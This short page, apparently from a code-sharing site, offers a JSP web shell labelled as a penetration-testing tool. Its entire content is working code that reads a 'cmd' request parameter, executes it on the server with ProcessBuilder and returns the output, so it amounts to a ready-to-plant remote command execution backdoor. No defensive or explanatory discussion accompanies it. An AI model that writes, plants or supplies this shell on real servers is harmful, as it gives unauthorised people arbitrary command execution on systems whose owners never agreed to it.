Title: jsp_processbuilder_shell.java- exploitation tool used and required in Penetration TestingAuthor: ajayverma
<pre>
<%@ page import="java.util.*,java.io.*,java.lang.*"%>
<%
String cmd = request.getParameter("cmd");
Process a =( new java.lang.ProcessBuilder(cmd.toString().split("\\s"))).start();
InputStream in = a.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
</pre>



Submitted On: 2019-06-26 09:47:57